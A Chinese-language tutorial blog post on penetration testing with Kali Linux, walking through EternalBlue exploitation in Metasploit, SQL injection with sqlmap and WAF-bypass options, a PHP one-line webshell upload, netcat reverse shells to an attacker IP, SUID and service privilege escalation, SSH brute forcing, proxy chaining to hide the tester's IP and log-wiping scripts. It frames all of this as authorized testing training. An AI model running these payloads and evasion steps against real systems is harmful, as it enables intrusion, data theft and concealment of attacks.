Kali Linux 实战:网络渗透测试中的渗透攻击全流程指南(进阶版)

在网络渗透测试的 “侦察 - 扫描 - 攻击 - 提权 - 维持 - 清理” 六阶段中,渗透攻击是突破目标系统防线的核心环节 —— 它并非 “盲目试探”,而是基于前期漏洞扫描结果,通过技术手段将 “漏洞” 转化为 “访问权限” 的精准操作。本文基于 Kali Linux,结合漏洞原理、工具深度用法、实战排错技巧,详解渗透攻击全流程,助力安全从业者从 “会操作” 进阶到 “懂原理、能排错”。

一、渗透攻击前的核心准备:从 “信息整合” 到 “攻击规划”

攻击前的准备决定测试效率与安全性,需在基础信息整理上增加 “攻击路径规划”,避免无意义尝试:

1. 合法授权:明确边界与责任(新增风险提示)

  • 必须签署正式授权文件:《渗透测试授权书》需包含目标范围(IP / 域名 / 系统)、测试时间(如 “2025-11-16 9:00-18:00”)、允许使用的攻击手段(如 “禁止使用 DDoS、禁止修改生产数据”),并由目标方盖章或负责人签字;
  • 法律风险警示:根据《网络安全法》《刑法》第 285/286 条,未经授权渗透他人系统,即使未造成损失,也可能构成 “非法入侵计算机信息系统罪”,面临刑事处罚。

2. 信息整合:建立 “漏洞 - 攻击工具” 映射表(新增实操表格)

前期通过 Nmap、Nessus、Burp Suite 获取的信息,需按 “目标资产 - 漏洞类型 - 适配工具” 分类整理,避免攻击时盲目选择工具:

目标资产类型

发现的漏洞

适配 Kali 工具

攻击优先级

Windows Server 2008

MS17-010(永恒之蓝)

Metasploit(ms17_010 模块)

高(远程代码执行)

Web 应用(PHP+MySQL)

登录页 SQL 注入

SQLmap、Burp Suite

中(获取后台权限)

Linux 服务器(Ubuntu)

SSH 服务弱口令

Hydra、Medusa

低(依赖字典质量)

无线网络(WiFi)

WPA2-PSK 加密,信号强

Aircrack-ng、Hashcat

中(需抓握手包)

3. 环境搭建:从 “基础配置” 到 “隐蔽性优化”(新增进阶操作)

  • 跳板与代理配置:若目标网络有 IP 限制,可通过云服务器搭建 SSH 跳板,在 Kali 中执行命令建立隧道:
 

ssh -D 1080 root@跳板机IP # 建立Socks5代理,本地1080端口转发流量

再配置/etc/proxychains4.conf,添加 socks5 127.0.0.1 1080,后续攻击命令前加proxychains4,隐藏真实 IP;

  • 日志清理预设:提前在 Kali 中准备日志清理脚本(如删除/var/log/auth.log、/var/log/syslog中的攻击记录),测试结束后按授权要求清理痕迹。

二、Kali Linux 渗透攻击:三大场景进阶实操(新增原理 + 排错)

场景 1:系统漏洞利用 —— 永恒之蓝(MS17-010)深度解析

1. 漏洞原理(新增)

永恒之蓝漏洞源于 Windows SMBv1 协议的 “事务处理远程协议”(TPRPC)存在缓冲区溢出漏洞,攻击者通过向目标 445 端口发送特制数据包,可执行任意代码,获取系统权限。该漏洞影响 Windows XP/7/Server 2003/2008,Windows 10 及 Server 2012 以上版本默认修复

2. 进阶实操(补充参数说明 + 排错)
  • 步骤 1:启动 Metasploit 并加载模块
 

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

  • 步骤 2:精细化配置参数(新增参数说明)
 

set RHOSTS 192.168.1.100 # 目标IP,支持网段(如192.168.1.0/24)

set LHOST 192.168.1.50 # 本地监听IP,需与目标网络互通

set LPORT 4444 # 本地监听端口,默认4444,可修改避免被防火墙拦截

set PAYLOAD windows/meterpreter/reverse_tcp # 反弹TCP Shell,隐蔽性强

set AutoRunScript post/windows/manage/migrate # 自动迁移进程,避免Shell因进程退出失效

show options # 确认参数无遗漏,尤其是RHOSTS和LHOST

  • 步骤 3:发起攻击与排错(新增常见问题)
 

exploit -j # -j后台运行,避免终端卡住

    • 问题 1:攻击后无响应?

排查:1. 目标 445 端口是否开放(nmap -p445 192.168.1.100);2. 目标是否已修复漏洞(查看系统补丁:systeminfo | findstr "KB4012212",KB4012212 为永恒之蓝修复补丁);3. 本地防火墙是否拦截 LPORT(ufw allow 4444开放端口)。

    • 问题 2:获取 Shell 后执行命令报错?

解决:执行migrate -N explorer.exe,将 Meterpreter 进程迁移到系统进程(如 explorer.exe),提升稳定性。

  • 步骤 4:Meterpreter 进阶操作(新增实用命令)
 

getuid # 查看当前用户权限(如NT AUTHORITY\SYSTEM为系统权限)

sysinfo # 获取目标系统信息(版本、补丁、架构)

run post/windows/gather/checkvm # 检测目标是否为虚拟机(避免测试环境误判)

download C:\Users\Admin\Desktop\敏感文件.txt # 下载目标敏感文件

场景 2:Web 应用攻击 ——SQL 注入从 “自动化” 到 “手动验证”

1. 漏洞原理(新增)

SQL 注入漏洞源于 Web 应用未对用户输入进行过滤,导致攻击者可将 SQL 语句拼接进请求中,被数据库执行。例如登录页输入username=admin' or '1'='1&password=123,若未过滤,拼接后的 SQL 语句为SELECT * FROM admin WHERE username='admin' or '1'='1' AND password='123',将绕过登录验证。

2. 进阶实操(补充手动验证 + 绕过技巧)
  • 步骤 1:手动验证注入点(新增,避免依赖工具误判)

访问目标登录页http://192.168.1.101/login.php,输入:

    • 用户名:admin'(加单引号),密码任意,点击登录;
    • 若页面显示 “SQL 语法错误”(如 “MySQL server version for the right syntax to use near ''admin'''”),说明存在注入点;若页面无变化,可能存在过滤,需尝试双引号(admin")或括号(admin'))。
  • 步骤 2:SQLmap 进阶用法(补充参数优化)
 

sqlmap -r login_request.txt --dbs --threads 10 --delay 0.5 # --threads设置线程数(建议≤10,避免被WAF拦截),--delay设置请求间隔,降低检测概率

sqlmap -r login_request.txt -D web_db -T admin -C username,password --dump --hex # --hex避免中文乱码,若密码加密,同时导出哈希值

    • 绕过 WAF 技巧(新增):若目标有 WAF 拦截 SQLmap,可添加参数--random-agent(随机 User-Agent)、--proxy http://127.0.0.1:8080(通过 Burp Suite 代理,手动修改请求包绕过)、--tamper=space2comment(将空格替换为 SQL 注释,如SELECT/*comment*/username FROM admin)。
  • 步骤 3:获取后台权限后的渗透(新增 webshell 上传)

用 SQL 注入获取的管理员账号登录 Web 后台后,找到 “文件上传” 功能(如模板上传、头像上传),上传免杀 webshell(如 PHP 一句话木马<?php @eval($_POST['pass']);?>,重命名为shell.jpg.php绕过后缀检测),再通过中国菜刀、蚁剑等工具连接:

    • 密码:pass

连接成功后,可执行命令、查看服务器文件,甚至反弹 Shell 到 Kali(nc -e /bin/bash 192.168.1.50 4444)。

场景 3:弱口令破解 —— 从 “暴力破解” 到 “字典优化”

1. 漏洞原理(新增)

弱口令漏洞源于用户使用易被猜测的密码(如生日、连续数字、常见单词),或未定期更换密码。SSH、RDP、数据库等服务若开启密码认证且无复杂度要求,易被暴力破解工具枚举。

2. 进阶实操(补充字典生成 + 多工具对比)
  • 步骤 1:生成高质量字典(新增 Crunch 进阶用法)

避免使用通用字典,根据目标信息定制字典(如目标公司名 “abc”、员工生日 “1990”):

 

crunch 8 10 abc123456 -t abc@%%% # 生成8-10位密码,格式为“abc@+3位数字”(如abc@123)

crunch 6 6 -f /usr/share/crunch/charset.lst mixalpha-numeric -o custom_dict.txt # 调用内置字符集,生成字母数字混合字典

同时可结合cewl工具,从目标网站爬取关键词生成字典:

 

cewl http://192.168.1.101 -m 6 -o web_keywords.txt # 爬取网站6位以上关键词,作为密码组成部分

  • 步骤 2:Hydra 与 Medusa 对比使用(新增工具选择)
    • Hydra:支持协议多(SSH、RDP、FTP 等),速度快,适合单目标破解:
 

hydra -L user.txt -P custom_dict.txt 192.168.1.100 ssh -vV -o ssh_crack_result.txt # -vV显示详细过程,-o保存结果到文件

    • Medusa:稳定性强,适合多目标批量破解,语法类似 Hydra:
 

medusa -h 192.168.1.100 -u root -P custom_dict.txt -M ssh # -M指定协议,-u指定单个用户名

    • 排错:破解速度慢?排查目标是否开启 “失败次数限制”(如 SSH 默认 5 次失败后锁定账户),可修改/etc/ssh/sshd_config中的MaxAuthTries(测试环境中临时调大)。
  • 步骤 3:破解后的权限控制(新增安全建议)

成功登录 SSH 后,需立即执行passwd修改密码(避免被其他测试者使用),并记录登录时间与操作(last查看登录记录),测试结束后恢复原始密码。

三、攻击后的操作:从 “权限巩固” 到 “报告编写”(新增报告框架)

1. 权限提升进阶(补充 Linux 提权案例)

  • Windows 提权:除getsystem命令,可利用 “服务权限配置错误” 提权,执行run post/windows/gather/enum_services,查找可修改的服务,通过sc config 服务名 binPath= "cmd.exe /c nc 192.168.1.50 4444 -e cmd.exe",重启服务后获取系统权限。
  • Linux 提权:利用 SUID 文件提权,执行find / -perm -u=s -type f 2>/dev/null,若发现/usr/bin/find有 SUID 权限,执行find /tmp -exec /bin/sh \;,即可切换到 root 用户。

2. 测试报告编写框架(新增)

攻击完成后,需整理成规范报告,包含:

  • 测试概述:授权范围、测试时间、使用工具;
  • 漏洞详情:每个漏洞的位置(如 “192.168.1.100:445”)、原理、攻击过程截图、风险等级(高 / 中 / 低);
  • 修复建议:针对性方案(如 “安装 KB4012212 补丁修复永恒之蓝漏洞”“对用户输入进行 SQL 过滤”“设置 SSH 密码复杂度要求”);
  • 证据附件:攻击日志、下载的敏感文件(脱敏处理)、Shell 交互记录。

四、核心原则升级:从 “合规” 到 “伦理”

  1. 数据保护:测试中获取的目标数据(如用户密码、敏感文件),仅用于测试报告,禁止泄露或用于其他用途,测试结束后彻底删除;
  1. 最小影响:攻击时避免占用目标过多资源(如不执行rm -rf /、不发送大量数据包),若测试导致系统崩溃,需立即协助恢复;
  1. 持续学习:漏洞技术迭代快(如新型 SQL 注入绕过、Windows 11 提权漏洞),需定期关注 CVE Details、NVD 等平台,更新工具与攻击思路。

总结

渗透攻击的核心不是 “破解”,而是 “发现并验证风险”。Kali Linux 提供的工具是 “手段”,而对漏洞原理的理解、对合法边界的敬畏、对排错能力的掌握,才是安全从业者的核心竞争力。

建议新手从 “模拟环境” 开始练习(如搭建 DVWA、Metasploitable 3 等漏洞测试平台),熟练后再参与真实授权测试。若你在实操中遇到复杂问题(如 WAF 绕过、新型漏洞利用),欢迎留言讨论,我们将结合最新技术提供解决方案!

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐